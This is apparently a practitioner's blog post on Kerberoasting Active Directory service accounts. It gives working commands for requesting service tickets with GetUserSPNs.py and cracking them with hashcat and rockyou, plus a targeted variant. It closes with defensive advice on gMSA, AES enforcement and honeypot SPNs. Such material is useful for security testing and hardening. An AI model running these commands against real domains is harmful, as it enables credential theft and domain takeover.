Kerberoasting in 2026: What Still Works and What Doesn't

The Attack That Won't Die

Kerberoasting was documented in 2014. It's 2026 and I'm still popping DA with it on engagements because organisations haven't fixed the root cause: service accounts with SPNs and weak or old passwords.

What Still Works

RC4-encrypted TGS tickets are still crackable with rockyou in under a minute on a GPU:

# Request RC4 tickets specifically (where allowed)
GetUserSPNs.py -request-user svcSQLAdmin corp.local/user:'pass' -dc-ip 10.0.0.1
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --rules-file best64.rule

AES-only tickets (type 18) are much harder — but many environments still negotiate RC4.

What's Getting Harder

• AES enforcement via msDS-SupportedEncryptionTypes = 24 on service accounts
• Managed Service Accounts (gMSA) — 256-character auto-rotating passwords; uncrackable
• Honeypot SPNs — canary service accounts that alert on any TGS request

Checking gMSA Deployment Coverage

Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordInterval |
  Select-Object Name, msDS-ManagedPasswordInterval

Targeted Approach in 2026

GetUserSPNs.py corp.local/user:'pass' -dc-ip 10.0.0.1 -request -outputfile spns.txt
grep -f high_value_accounts.txt spns.txt

Defensive Takeaways

• Migrate all service accounts to gMSA — it is the only real fix
• Enforce AES-only encryption on remaining SPNs
• Deploy at least one honeypot SPN and alert on any ticket requests for it
• Audit SPN assignments: no user account should have an SPN